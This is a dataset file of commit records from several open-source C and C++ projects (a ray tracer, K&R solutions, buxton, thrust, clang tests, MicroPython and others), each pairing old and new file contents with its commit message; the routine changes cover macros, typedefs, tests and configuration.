{"commit":"125eec8781231cf21041b742dccd906ef1c55738","old_file":"include\/integrator\/path_integrator.h","new_file":"include\/integrator\/path_integrator.h","old_contents":"#ifndef PATH_INTEGRATOR_H\n#define PATH_INTEGRATOR_H\n\n#include \"surface_integrator.h\"\n#include \"renderer\/renderer.h\"\n\n\/*\n * Surface integrator that uses Path tracing for computing illumination at a point on the surface\n *\/\nclass PathIntegrator : public SurfaceIntegrator {\n\tconst int min_depth, max_depth;\n\npublic:\n\t\/*\n\t * Create the path tracing integrator and set the min and max depth for paths\n\t * rays are randomly stopped by Russian roulette after reaching min_depth and are stopped\n\t * at max_depth\n\t *\/\n\tPathIntegrator(int min_depth, int max_depth);\n\t\/*\n\t * Compute the illumination at a point on a surface in the scene\n\t *\/\n\tColorf illumination(const Scene &scene, const Renderer &renderer, const RayDifferential &ray,\n\t\tDifferentialGeometry &dg, Sampler &sampler, MemoryPool &pool) const override;\n\nprivate:\n\t\/*\n\t * Trace a camera path starting from the first hit at dg returning the throughput of the\n\t * path and the BSDF of the last object hit and the direction we hit it from so that we\n\t * can connect the path to a light path\n\t *\/\n\tColorf trace_camera(const Scene &scene, const Renderer &renderer, const RayDifferential &ray,\n\t\tDifferentialGeometry &dg, Sampler &sampler, MemoryPool &pool, BSDF *&bsdf, Vector &w_o) const;\n\t\/*\n\t * Trace a light path returning the illumination along the path and the BSDF of\n\t * of the last object hit and the direction we hit it from so that we\n\t *\/\n\tColorf trace_light(const Scene &scene, const Renderer &renderer, Sampler &sampler,\n\t\tMemoryPool &pool, BSDF *&bsdf, Vector &w_o) const;\n};\n\n#endif\n\n","new_contents":"#ifndef PATH_INTEGRATOR_H\n#define PATH_INTEGRATOR_H\n\n#include \"surface_integrator.h\"\n#include \"renderer\/renderer.h\"\n\n\/*\n * Surface integrator that uses Path tracing for computing illumination at a point on the surface\n *\/\nclass PathIntegrator : public SurfaceIntegrator {\n\tconst int min_depth, max_depth;\n\npublic:\n\t\/*\n\t * Create the path tracing integrator and set the min and max depth for paths\n\t * rays are randomly stopped by Russian roulette after reaching min_depth and are stopped\n\t * at max_depth\n\t *\/\n\tPathIntegrator(int min_depth, int max_depth);\n\t\/*\n\t * Compute the illumination at a point on a surface in the scene\n\t *\/\n\tColorf illumination(const Scene &scene, const Renderer &renderer, const RayDifferential &ray,\n\t\tDifferentialGeometry &dg, Sampler &sampler, MemoryPool &pool) const override;\n};\n\n#endif\n\n","subject":"Remove the unused bidir functions from path tracer","message":"Remove the unused bidir functions from path tracer\n","lang":"C","license":"mit","repos":"Twinklebear\/tray,Twinklebear\/tray"}
{"commit":"289440851590e50387cf1a121abad63c704b84ab","old_file":"src\/exercise102.c","new_file":"src\/exercise102.c","old_contents":"\/*\n * A solution to Exercise 1-2 in The C Programming Language (Second Edition).\n *\n * This file was written by Damien Dart, <damiendart@pobox.com>. This is free\n * and unencumbered software released into the public domain. For more\n * information, please refer to the accompanying \"UNLICENCE\" file.\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n\nint main(void)\n{\n  puts(\"\\\\a produces an audible or visual alert: \\a\");\n  puts(\"\\\\f produces a formfeed: \\f\");\n  puts(\"\\\\r produces a carriage return: \\rlololol\");\n  puts(\"\\\\v produces a vertical tab: \\t\");\n  return EXIT_SUCCESS;\n}\n","new_contents":"\/*\n * A solution to Exercise 1-2 in The C Programming Language (Second Edition).\n *\n * This file was written by Damien Dart, <damiendart@pobox.com>. This is free\n * and unencumbered software released into the public domain. For more\n * information, please refer to the accompanying \"UNLICENCE\" file.\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n\nint main(void)\n{\n  puts(\"An audible or visual alert: \\a\");\n  puts(\"A form feed: \\f\");\n  puts(\"A carriage return: \\r\");\n  puts(\"A vertical tab: \\v\");\n  return EXIT_SUCCESS;\n}\n","subject":"Fix solution to Exercise 1-2.","message":"Fix solution to Exercise 1-2.\n","lang":"C","license":"unlicense","repos":"damiendart\/knr-solutions,damiendart\/knr-solutions,damiendart\/knr-solutions"}
{"commit":"b0183a9c878d330245437728c658360eb84e895d","old_file":"src\/shared\/log.h","new_file":"src\/shared\/log.h","old_contents":"\/*\n * This file is part of buxton.\n *\n * Copyright (C) 2013 Intel Corporation\n *\n * buxton is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation; either version 2.1\n * of the License, or (at your option) any later version.\n *\/\n\n#pragma once\n\n#ifdef HAVE_CONFIG_H\n    #include \"config.h\"\n#endif\n\n#ifdef DEBUG\n#define buxton_debug() buxton_log()\n#else\n#define buxton_debug do {} while(0);\n#endif \/* DEBUG *\/\n\nvoid buxton_log(const char* fmt, ...);\n\n\/*\n * Editor modelines  -  http:\/\/www.wireshark.org\/tools\/modelines.html\n *\n * Local variables:\n * c-basic-offset: 8\n * tab-width: 8\n * indent-tabs-mode: t\n * End:\n *\n * vi: set shiftwidth=8 tabstop=8 noexpandtab:\n * :indentSize=8:tabSize=8:noTabs=false:\n *\/\n","new_contents":"\/*\n * This file is part of buxton.\n *\n * Copyright (C) 2013 Intel Corporation\n *\n * buxton is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation; either version 2.1\n * of the License, or (at your option) any later version.\n *\/\n\n#pragma once\n\n#ifdef HAVE_CONFIG_H\n    #include \"config.h\"\n#endif\n\n#ifdef DEBUG\n#define buxton_debug(...) buxton_log(__VA_ARGS__)\n#else\n#define buxton_debug(...) do {} while(0);\n#endif \/* DEBUG *\/\n\nvoid buxton_log(const char* fmt, ...);\n\n\/*\n * Editor modelines  -  http:\/\/www.wireshark.org\/tools\/modelines.html\n *\n * Local variables:\n * c-basic-offset: 8\n * tab-width: 8\n * indent-tabs-mode: t\n * End:\n *\n * vi: set shiftwidth=8 tabstop=8 noexpandtab:\n * :indentSize=8:tabSize=8:noTabs=false:\n *\/\n","subject":"Fix the buxton_debug macro to support arguments","message":"Fix the buxton_debug macro to support arguments\n","lang":"C","license":"lgpl-2.1","repos":"sofar\/buxton,sofar\/buxton"}
{"commit":"754205371f3d3bb2c1b6332fba4b7eee575fd1db","old_file":"src\/system_res.h","new_file":"src\/system_res.h","old_contents":"\/*\n * system_res.h\n *\n * Author: Ben Lai, Ming Tsang, Peggy Lau\n * Copyright (c) 2014-2015 HKUST SmartCar Team\n * Refer to LICENSE for details\n *\/\n\nnamespace camera\n{\n\nstruct SystemRes\n{\n\n};\n\n}\n","new_contents":"\/*\n * system_res.h\n *\n * Author: Ben Lai, Ming Tsang, Peggy Lau\n * Copyright (c) 2014-2015 HKUST SmartCar Team\n * Refer to LICENSE for details\n *\/\n\nnamespace camera\n{\n\nclass Car;\n\n}\n\nnamespace camera\n{\n\nstruct SystemRes\n{\n\tCar *car;\n};\n\n}\n","subject":"Add car to system res","message":"Add car to system res","lang":"C","license":"mit","repos":"travistang\/Camera15-T1,travistang\/Camera15-T1,hkust-smartcar\/Camera15-T1,hkust-smartcar\/Camera15-T1"}
{"commit":"98069b8a5962874e664f11dc5eb9f0ba76591eb7","old_file":"src\/event_detection.h","new_file":"src\/event_detection.h","old_contents":"#ifndef EVENT_DETECTION_H\n#    define EVENT_DETECTION_H\n\n#    include \"scrappie_structures.h\"\n\ntypedef struct {\n    size_t window_length1;\n    size_t window_length2;\n    float threshold1;\n    float threshold2;\n    float peak_height;\n} detector_param;\n\n\nstatic detector_param const event_detection_defaults = {\n    .window_length1 = 3,\n    .window_length2 = 6,\n    .threshold1 = 1.4f,\n    .threshold2 = 1.1f,\n    .peak_height = 0.2f\n};\n\n\n\nevent_table detect_events(raw_table const rt, detector_param const edparam);\n\n#endif                          \/* EVENT_DETECTION_H *\/\n","new_contents":"#ifndef EVENT_DETECTION_H\n#    define EVENT_DETECTION_H\n\n#    include \"scrappie_structures.h\"\n\ntypedef struct {\n    size_t window_length1;\n    size_t window_length2;\n    float threshold1;\n    float threshold2;\n    float peak_height;\n} detector_param;\n\n\nstatic detector_param const event_detection_defaults = {\n    .window_length1 = 3,\n    .window_length2 = 6,\n    .threshold1 = 1.4f,\n    .threshold2 = 9.0f,\n    .peak_height = 0.2f\n};\n\n\n\nevent_table detect_events(raw_table const rt, detector_param const edparam);\n\n#endif                          \/* EVENT_DETECTION_H *\/\n","subject":"Update threshold for second window","message":"Update threshold for second window\n","lang":"C","license":"mpl-2.0","repos":"nanoporetech\/scrappie,nanoporetech\/scrappie,nanoporetech\/scrappie"}
{"commit":"1c54410af3ed87100eca258bc58533ad434e618e","old_file":"testing\/unittest\/special_types.h","new_file":"testing\/unittest\/special_types.h","old_contents":"#pragma once\n\ntemplate <typename T, unsigned int N>\nstruct FixedVector\n{\n    T data[N];\n    \n    __host__ __device__\n    FixedVector() { }\n\n    __host__ __device__\n    FixedVector(T init)\n    {\n        for(unsigned int i = 0; i < N; i++)\n            data[i] = init;\n    }\n\n    __host__ __device__\n    FixedVector operator+(const FixedVector& bs) const\n    {\n        FixedVector output;\n        for(unsigned int i = 0; i < N; i++)\n            output.data[i] = data[i] + bs.data[i];\n        return output;\n    }\n    \n    __host__ __device__\n    bool operator<(const FixedVector& bs) const\n    {\n        for(unsigned int i = 0; i < N; i++)\n        {\n            if(data[i] < bs.data[i])\n                return true;\n            else if(bs.data[i] < data[i])\n                return false;\n        }\n        return false;\n    }\n\n    __host__ __device__\n    bool operator==(const FixedVector& bs) const\n    {\n        for(unsigned int i = 0; i < N; i++)\n        {\n            if(!(data[i] == bs.data[i]))\n                return false;\n        }\n        return true;                \n    }\n};\n\n\n","new_contents":"#pragma once\n\ntemplate <typename T, unsigned int N>\nstruct FixedVector\n{\n    T data[N];\n    \n    __host__ __device__\n    FixedVector() : data() { }\n\n    __host__ __device__\n    FixedVector(T init)\n    {\n        for(unsigned int i = 0; i < N; i++)\n            data[i] = init;\n    }\n\n    __host__ __device__\n    FixedVector operator+(const FixedVector& bs) const\n    {\n        FixedVector output;\n        for(unsigned int i = 0; i < N; i++)\n            output.data[i] = data[i] + bs.data[i];\n        return output;\n    }\n    \n    __host__ __device__\n    bool operator<(const FixedVector& bs) const\n    {\n        for(unsigned int i = 0; i < N; i++)\n        {\n            if(data[i] < bs.data[i])\n                return true;\n            else if(bs.data[i] < data[i])\n                return false;\n        }\n        return false;\n    }\n\n    __host__ __device__\n    bool operator==(const FixedVector& bs) const\n    {\n        for(unsigned int i = 0; i < N; i++)\n        {\n            if(!(data[i] == bs.data[i]))\n                return false;\n        }\n        return true;                \n    }\n};\n\n\n","subject":"Initialize FixedVector's member in its null constructor to eliminate a Wall warning.","message":"Initialize FixedVector's member in its null constructor to eliminate a Wall warning.\n","lang":"C","license":"apache-2.0","repos":"google-code-export\/thrust,allendaicool\/thrust,hemmingway\/thrust,hemmingway\/thrust,levendlee\/thrust,hemmingway\/thrust,julianromera\/thrust,levendlee\/thrust,malenie\/thrust,bfurtaw\/thrust,rdmenezes\/thrust,UIKit0\/thrust,h1arshad\/thrust,UIKit0\/thrust,malenie\/thrust,hemmingway\/thrust,rdmenezes\/thrust,levendlee\/thrust,lishi0927\/thrust,Vishwa07\/thrust,rdmenezes\/thrust,allendaicool\/thrust,julianromera\/thrust,allendaicool\/thrust,julianromera\/thrust,Vishwa07\/thrust,Vishwa07\/thrust,google-code-export\/thrust,Vishwa07\/thrust,allendaicool\/thrust,lishi0927\/thrust,UIKit0\/thrust,julianromera\/thrust,lishi0927\/thrust,malenie\/thrust,UIKit0\/thrust,levendlee\/thrust,h1arshad\/thrust,lishi0927\/thrust,bfurtaw\/thrust,bfurtaw\/thrust,bfurtaw\/thrust,h1arshad\/thrust,google-code-export\/thrust,h1arshad\/thrust,google-code-export\/thrust,rdmenezes\/thrust,malenie\/thrust"}
{"commit":"cd73593a424a38f7e79b749086d6e3543ba88356","old_file":"io\/file_descriptor.h","new_file":"io\/file_descriptor.h","old_contents":"#ifndef\tFILE_DESCRIPTOR_H\n#define\tFILE_DESCRIPTOR_H\n\n#include <io\/channel.h>\n\nclass FileDescriptor : public Channel {\n\tLogHandle log_;\nprotected:\n\tint fd_;\npublic:\n\tFileDescriptor(int);\n\t~FileDescriptor();\n\n\tvirtual Action *close(EventCallback *);\n\tvirtual Action *read(size_t, EventCallback *);\n\tvirtual Action *write(Buffer *, EventCallback *);\n\n\tvirtual bool shutdown(bool, bool)\n\t{\n\t\treturn (false);\n\t}\n};\n\n#endif \/* !FILE_DESCRIPTOR_H *\/\n","new_contents":"#ifndef\tFILE_DESCRIPTOR_H\n#define\tFILE_DESCRIPTOR_H\n\n#include <io\/channel.h>\n\nclass FileDescriptor : public Channel {\n\tLogHandle log_;\nprotected:\n\tint fd_;\npublic:\n\tFileDescriptor(int);\n\t~FileDescriptor();\n\n\tvirtual Action *close(EventCallback *);\n\tvirtual Action *read(size_t, EventCallback *);\n\tvirtual Action *write(Buffer *, EventCallback *);\n\n\tvirtual bool shutdown(bool, bool)\n\t{\n\t\treturn (true);\n\t}\n};\n\n#endif \/* !FILE_DESCRIPTOR_H *\/\n","subject":"Return success rather than failure from shutdown() on FileDescriptor, since it is entirely immaterial.","message":"Return success rather than failure from shutdown() on FileDescriptor, since it\nis entirely immaterial.\n\n","lang":"C","license":"bsd-2-clause","repos":"wanproxy\/wanproxy,wanproxy\/wanproxy,wanproxy\/wanproxy"}
{"commit":"8dd70959300cd08be029518be56bc64ccfe271df","old_file":"test\/Analysis\/dump_egraph.c","new_file":"test\/Analysis\/dump_egraph.c","old_contents":"\/\/ RUN: %clang_analyze_cc1 -analyzer-checker=core \\\n\/\/ RUN:  -analyzer-dump-egraph=%t.dot %s\n\/\/ RUN: cat %t.dot | FileCheck %s\n\n\/\/ RUN: %clang_analyze_cc1 -analyzer-checker=core \\\n\/\/ RUN:  -analyzer-dump-egraph=%t.dot \\\n\/\/ RUN:  -trim-egraph %s\n\/\/ RUN: cat %t.dot | FileCheck %s\n\n\/\/ REQUIRES: asserts\n\nint getJ();\n\nint foo() {\n  int *x = 0, *y = 0;\n  char c = '\\x13';\n\n  return *x + *y;\n}\n\n\/\/ CHECK: \\\"program_points\\\": [\\l&nbsp;&nbsp;&nbsp;&nbsp;\\{ \\\"kind\\\": \\\"Edge\\\", \\\"src_id\\\": 2, \\\"dst_id\\\": 1, \\\"terminator\\\": null, \\\"term_kind\\\": null, \\\"tag\\\": null, \\\"node_id\\\": 1, \\\"is_sink\\\":0, \\\"has_report\\\": 0 \\}\\l&nbsp;&nbsp;],\\l&nbsp;&nbsp;\\\"program_state\\\": null\n\n\/\/ CHECK: \\\"program_points\\\": [\\l&nbsp;&nbsp;&nbsp;&nbsp;\\{ \\\"kind\\\": \\\"BlockEntrance\\\", \\\"block_id\\\": 1\n\n\n\/\/ CHECK: \\\"pretty\\\": \\\"*x\\\", \\\"location\\\": \\{ \\\"line\\\": 18, \\\"column\\\": 10, \\\"file\\\": \\\"{{(.+)}}dump_egraph.c\\\" \\}\n\n\/\/ CHECK: \\\"pretty\\\": \\\"'\\\\\\\\x13'\\\"\n\n\/\/ CHECK: \\\"has_report\\\": 1\n","new_contents":"\/\/ RUN: %clang_analyze_cc1 -analyzer-checker=core \\\n\/\/ RUN:  -analyzer-dump-egraph=%t.dot %s\n\/\/ RUN: cat %t.dot | FileCheck %s\n\n\/\/ RUN: %clang_analyze_cc1 -analyzer-checker=core \\\n\/\/ RUN:  -analyzer-dump-egraph=%t.dot \\\n\/\/ RUN:  -trim-egraph %s\n\/\/ RUN: cat %t.dot | FileCheck %s\n\n\/\/ REQUIRES: asserts\n\nint getJ();\n\nint foo() {\n  int *x = 0, *y = 0;\n  char c = '\\x13';\n\n  return *x + *y;\n}\n\n\/\/ CHECK: \\\"program_points\\\": [\\l&nbsp;&nbsp;&nbsp;&nbsp;\\{ \\\"kind\\\": \\\"Edge\\\", \\\"src_id\\\": 2, \\\"dst_id\\\": 1, \\\"terminator\\\": null, \\\"term_kind\\\": null, \\\"tag\\\": null, \\\"node_id\\\": 1, \\\"is_sink\\\": 0, \\\"has_report\\\": 0 \\}\\l&nbsp;&nbsp;],\\l&nbsp;&nbsp;\\\"program_state\\\": null\n\n\/\/ CHECK: \\\"program_points\\\": [\\l&nbsp;&nbsp;&nbsp;&nbsp;\\{ \\\"kind\\\": \\\"BlockEntrance\\\", \\\"block_id\\\": 1\n\n\n\/\/ CHECK: \\\"pretty\\\": \\\"*x\\\", \\\"location\\\": \\{ \\\"line\\\": 18, \\\"column\\\": 10, \\\"file\\\": \\\"{{(.+)}}dump_egraph.c\\\" \\}\n\n\/\/ CHECK: \\\"pretty\\\": \\\"'\\\\\\\\x13'\\\"\n\n\/\/ CHECK: \\\"has_report\\\": 1\n","subject":"Fix typo in r375186. Unbreaks tests.","message":"[analyzer] exploded-graph-rewriter: Fix typo in r375186. Unbreaks tests.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@375189 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"8f7bbd87a709803e90aacd4e5fd9810b110b799d","old_file":"test\/src\/testfw.h","new_file":"test\/src\/testfw.h","old_contents":"#ifndef LOG_TESTFW_H\n#define LOG_TESTFW_H\n\n#include <stdio.h>\n\n#define NEUTRAL \"\\x1B[0m\"\n#define GREEN   \"\\x1B[32m\"\n#define RED     \"\\x1B[31m\"\n\nvoid testfw_add(void (*)(int*), const char*);\nint testfw_run();\n\n#define TEST(name) void name(int*); void __attribute__((constructor)) pre_##name() {testfw_add(name, #name);} void name(int* __errors __attribute__((unused)))\n\n#define FAILED(name) fprintf(stderr, \"[ %sFAILED%s ] %s (%s:%d)\\n\", RED, NEUTRAL, name, __FILE__, __LINE__)\n#define PASSED(name) printf(\"[ %sPASSED%s ] %s\\n\", GREEN, NEUTRAL, name);\n\n#define ASSERT(stmt) if (!(stmt)) {++(*__errors); FAILED(__FUNCTION__);}\n\n#endif\n","new_contents":"#ifndef LOG_TESTFW_H\n#define LOG_TESTFW_H\n\n#include <stdio.h>\n\n#define NEUTRAL \"\\x1B[0m\"\n#define GREEN   \"\\x1B[32m\"\n#define RED     \"\\x1B[31m\"\n\nvoid testfw_add(void (*)(int*), const char*);\nint testfw_run();\n\n#define TEST(name) void name(int*); void __attribute__((constructor)) pre_##name() {testfw_add(name, #name);} void name(int* __errors __attribute__((unused)))\n\n#define FAILED(name) fprintf(stderr, \"[ %sFAILED%s ] %s (%s:%d)\\n\", RED, NEUTRAL, name, __FILE__, __LINE__)\n#define PASSED(name) printf(\"[ %sPASSED%s ] %s\\n\", GREEN, NEUTRAL, name);\n\n#define ASSERT(stmt) if (!(stmt)) {++(*__errors); FAILED(__func__);}\n\n#endif\n","subject":"Use __func__ instead of __FUNCTION__","message":"Use __func__ instead of __FUNCTION__\n\n__FUNCTION__ does not work with gcc version 5.\nhttps:\/\/gcc.gnu.org\/gcc-5\/porting_to.html.\n","lang":"C","license":"bsd-3-clause","repos":"rbruggem\/mqlog,rbruggem\/mqlog"}
{"commit":"3ea9ea8edc499da466a8555e9424a8d92e3e7526","old_file":"cc1\/tests\/test062.c","new_file":"cc1\/tests\/test062.c","old_contents":"","new_contents":"\/*\nname: TEST062\ndescription: Test for hexadecimal numbers in upper and lower case\nerror:\noutput:\nG2\tI\tF\t\"main\n{\n\\\n\th\t#I1\n}\n*\/\n\nint\nmain(void)\n{\n\treturn 0xa == 0xA &&\n\t       0xb == 0xB &&\n\t       0xc == 0xC &&\n\t       0xd == 0xD &&\n\t       0xe == 0xE &&\n\t       0xf == 0xF;\n}\n","subject":"Add test for hexadecimal numbers with upper and lower case","message":"[cc1] Add test for hexadecimal numbers with upper and lower case\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,k0gaMSX\/scc,k0gaMSX\/scc"}
{"commit":"c49c6113ab8ca9293cad0fc766c6b4bd90e22a75","old_file":"test\/small1\/strloop.c","new_file":"test\/small1\/strloop.c","old_contents":"#include <testharness.h>\n#include <stdio.h>\n\nvoid BuildWord(char * pchWord) {\n    int i;\n    char * pch = pchWord;\n\n    \/* original code: \n     * while ((i = *pch++) != '\\0') { } \n     *\/\n\n    do {\n      i = *pch;\n      pch++;\n    } while (i != '\\0'); \n\n    printf(\"%s\\n\",pchWord); \n}\n\nint main() {\n  char *test = \"foo\"; \n\n  BuildWord(test);\n\n  SUCCESS; \n} \n","new_contents":"#include <testharness.h>\n#include <stdio.h>\n\nvoid BuildWord(char * pchWord) {\n    int i;\n    char * pch = pchWord;\n\n    \/* original code: \n     * while ((i = *pch++) != '\\0') { } \n     *\/\n\n    do {\n      i = *pch;\n      \/\/ printf(\"i = '%c'\\n\",i); \n      pch++;\n    } while (i != '\\0'); \n\n    printf(\"%s\\n\",pchWord); \n}\n\nint main() {\n  char *test = \"foo\"; \n\n  test++;\n  test--;\n\n  BuildWord(test);\n\n  SUCCESS; \n} \n","subject":"Switch the world over to the new 'paper' solver. Local regression tests indicate that it shouldn't be that bad: new models and wrappers have been added to support it. INFERBOX=infer is now the new solver, INFERBOX=old gives the old behavior (will be removed later).","message":"Switch the world over to the new 'paper' solver. Local regression tests\nindicate that it shouldn't be that bad: new models and wrappers have been\nadded to support it. INFERBOX=infer is now the new solver, INFERBOX=old\ngives the old behavior (will be removed later).\n","lang":"C","license":"bsd-3-clause","repos":"samuelhavron\/obliv-c,samuelhavron\/obliv-c,samuelhavron\/obliv-c,samuelhavron\/obliv-c"}
{"commit":"d28671f7429cc1f47346d9eb5451bc36cbc9f15d","old_file":"src\/zt_stdint.h","new_file":"src\/zt_stdint.h","old_contents":"#ifndef _ZT_STDINT_H_\n#define _ZT_STDINT_H_\n\n#if !defined(_MSC_VER) || _MSC_VER >= 1600\n#include <stdint.h>\n#else\ntypedef __int8 int8_t;\ntypedef unsigned __int8 uint8_t;\ntypedef __int16 int16_t;\ntypedef unsigned __int16 uint16_t;\ntypedef __int32 int32_t;\ntypedef unsigned __int32 uint32_t;\ntypedef __int64 int64_t;\ntypedef unsigned __int64 uint64_t;\n#endif\n\n#endif\n","new_contents":"#ifndef _ZT_STDINT_H_\n#define _ZT_STDINT_H_\n\n#if !defined(_MSC_VER) || _MSC_VER >= 1600\n#include <stdint.h>\n#else\ntypedef signed char int8_t;\ntypedef unsigned char uint8_t;\ntypedef short int16_t;\ntypedef unsigned short uint16_t;\ntypedef int int32_t;\ntypedef unsigned int uint32_t;\ntypedef __int64 int64_t;\ntypedef unsigned __int64 uint64_t;\n#endif\n\n#endif\n","subject":"Use integer types that are consistent with what tend to be the underlying types for stdint typedefs","message":"Use integer types that are consistent with what tend to be the\nunderlying types for stdint typedefs\n\nWindows treats signed char and __int8 as distinct types.\n","lang":"C","license":"mit","repos":"zerotao\/libzt,zerotao\/libzt,zerotao\/libzt,zerotao\/libzt"}
{"commit":"cd22627f781080fb245dd6999f2158c8099379b0","old_file":"py\/mpconfig.h","new_file":"py\/mpconfig.h","old_contents":"\/\/ This file contains default configuration settings for MicroPython.\n\/\/ You can override any of these options using mpconfigport.h file located\n\/\/ in a directory of your port.\n\n#include <mpconfigport.h>\n\n#ifndef INT_FMT\n\/\/ printf format spec to use for machine_int_t and friends\n#ifdef __LP64__\n\/\/ Archs where machine_int_t == long, long != int\n#define UINT_FMT \"%lu\"\n#define INT_FMT \"%ld\"\n#else\n\/\/ Archs where machine_int_t == int\n#define UINT_FMT \"%u\"\n#define INT_FMT \"%d\"\n#endif\n#endif \/\/INT_FMT\n\n\n\/\/ Any options not explicitly set in mpconfigport.h will get default\n\/\/ values below.\n\n\/\/ Whether to collect memory allocation stats\n#ifndef MICROPY_MEM_STATS\n#define MICROPY_MEM_STATS (1)\n#endif\n","new_contents":"\/\/ This file contains default configuration settings for MicroPython.\n\/\/ You can override any of these options using mpconfigport.h file located\n\/\/ in a directory of your port.\n\n#include <mpconfigport.h>\n\n#ifndef INT_FMT\n\/\/ printf format spec to use for machine_int_t and friends\n#ifdef __LP64__\n\/\/ Archs where machine_int_t == long, long != int\n#define UINT_FMT \"%lu\"\n#define INT_FMT \"%ld\"\n#else\n\/\/ Archs where machine_int_t == int\n#define UINT_FMT \"%u\"\n#define INT_FMT \"%d\"\n#endif\n#endif \/\/INT_FMT\n\n\n\/\/ Any options not explicitly set in mpconfigport.h will get default\n\/\/ values below.\n\n\/\/ Whether to collect memory allocation stats\n#ifndef MICROPY_MEM_STATS\n#define MICROPY_MEM_STATS (1)\n#endif\n\n\/\/ Whether to support slice object and correspondingly\n\/\/ slice subscript operators\n#ifndef MICROPY_ENABLE_SLICE\n#define MICROPY_ENABLE_SLICE (1)\n#endif\n","subject":"Enable slice support in config.","message":"Enable slice support in config.\n","lang":"C","license":"mit","repos":"SHA2017-badge\/micropython-esp32,selste\/micropython,xyb\/micropython,xuxiaoxin\/micropython,suda\/micropython,KISSMonX\/micropython,ceramos\/micropython,orionrobots\/micropython,trezor\/micropython,adafruit\/micropython,blmorris\/micropython,SungEun-Steve-Kim\/test-mp,ericsnowcurrently\/micropython,praemdonck\/micropython,cloudformdesign\/micropython,hiway\/micropython,oopy\/micropython,oopy\/micropython,infinnovation\/micropython,stonegithubs\/micropython,AriZuu\/micropython,alex-robbins\/micropython,lbattraw\/micropython,Timmenem\/micropython,ericsnowcurrently\/micropython,danicampora\/micropython,mgyenik\/micropython,puuu\/micropython,alex-march\/micropython,dhylands\/micropython,kostyll\/micropython,dxxb\/micropython,cwyark\/micropython,infinnovation\/micropython,misterdanb\/micropython,firstval\/micropython,mianos\/micropython,jlillest\/micropython,jmarcelino\/pycom-micropython,firstval\/micropython,pfalcon\/micropython,vriera\/micropython,drrk\/micropython,vitiral\/micropython,cloudformdesign\/micropython,mhoffma\/micropython,alex-march\/micropython,selste\/micropython,martinribelotta\/micropython,pfalcon\/micropython,mgyenik\/micropython,emfcamp\/micropython,EcmaXp\/micropython,MrSurly\/micropython,noahchense\/micropython,drrk\/micropython,tdautc19841202\/micropython,adafruit\/circuitpython,warner83\/micropython,oopy\/micropython,skybird6672\/micropython,warner83\/micropython,xuxiaoxin\/micropython,tobbad\/micropython,pramasoul\/micropython,dmazzella\/micropython,toolmacher\/micropython,xhat\/micropython,blazewicz\/micropython,ryannathans\/micropython,swegener\/micropython,ganshun666\/micropython,suda\/micropython,vriera\/micropython,heisewangluo\/micropython,ganshun666\/micropython,cwyark\/micropython,Vogtinator\/micropython,feilongfl\/micropython,MrSurly\/micropython-esp32,neilh10\/micropython,HenrikSolver\/micropython,noahwilliamsson\/micropython,blazewicz\/micropython,blmorris\/micropython,ahotam\/micropython,henriknelson\/micropython,lbattraw\/micropython,vriera\/micropython,paul-xxx\/micropython,mianos\/micropython,adamkh\/micropython,slzatz\/micropython,lowRISC\/micropython,galenhz\/micropython,Vogtinator\/micropython,redbear\/micropython,kerneltask\/micropython,hosaka\/micropython,vitiral\/micropython,orionrobots\/micropython,alex-march\/micropython,chrisdearman\/micropython,adafruit\/micropython,firstval\/micropython,swegener\/micropython,alex-march\/micropython,misterdanb\/micropython,utopiaprince\/micropython,alex-march\/micropython,mianos\/micropython,tobbad\/micropython,praemdonck\/micropython,dinau\/micropython,deshipu\/micropython,omtinez\/micropython,Peetz0r\/micropython-esp32,SungEun-Steve-Kim\/test-mp,turbinenreiter\/micropython,ceramos\/micropython,stonegithubs\/micropython,ryannathans\/micropython,EcmaXp\/micropython,heisewangluo\/micropython,drrk\/micropython,pfalcon\/micropython,adafruit\/circuitpython,micropython\/micropython-esp32,orionrobots\/micropython,hosaka\/micropython,redbear\/micropython,methoxid\/micropystat,suda\/micropython,lowRISC\/micropython,skybird6672\/micropython,methoxid\/micropystat,henriknelson\/micropython,supergis\/micropython,pozetroninc\/micropython,kerneltask\/micropython,omtinez\/micropython,ahotam\/micropython,puuu\/micropython,cwyark\/micropython,HenrikSolver\/micropython,adafruit\/circuitpython,adafruit\/micropython,vriera\/micropython,xhat\/micropython,xyb\/micropython,utopiaprince\/micropython,alex-robbins\/micropython,PappaPeppar\/micropython,ceramos\/micropython,toolmacher\/micropython,kostyll\/micropython,rubencabrera\/micropython,cwyark\/micropython,aitjcize\/micropython,ryannathans\/micropython,EcmaXp\/micropython,skybird6672\/micropython,oopy\/micropython,ceramos\/micropython,turbinenreiter\/micropython,pramasoul\/micropython,MrSurly\/micropython,mhoffma\/micropython,cwyark\/micropython,mhoffma\/micropython,blmorris\/micropython,vitiral\/micropython,infinnovation\/micropython,mgyenik\/micropython,misterdanb\/micropython,bvernoux\/micropython,puuu\/micropython,ChuckM\/micropython,alex-robbins\/micropython,vriera\/micropython,ChuckM\/micropython,skybird6672\/micropython,trezor\/micropython,supergis\/micropython,ernesto-g\/micropython,torwag\/micropython,tdautc19841202\/micropython,mianos\/micropython,ganshun666\/micropython,dmazzella\/micropython,aitjcize\/micropython,rubencabrera\/micropython,TDAbboud\/micropython,tdautc19841202\/micropython,aethaniel\/micropython,methoxid\/micropystat,neilh10\/micropython,toolmacher\/micropython,ruffy91\/micropython,kostyll\/micropython,dhylands\/micropython,slzatz\/micropython,mpalomer\/micropython,adafruit\/circuitpython,lowRISC\/micropython,SHA2017-badge\/micropython-esp32,chrisdearman\/micropython,Timmenem\/micropython,ahotam\/micropython,pozetroninc\/micropython,torwag\/micropython,jimkmc\/micropython,micropython\/micropython-esp32,dinau\/micropython,matthewelse\/micropython,praemdonck\/micropython,kerneltask\/micropython,henriknelson\/micropython,ceramos\/micropython,aitjcize\/micropython,ernesto-g\/micropython,skybird6672\/micropython,aethaniel\/micropython,noahchense\/micropython,redbear\/mic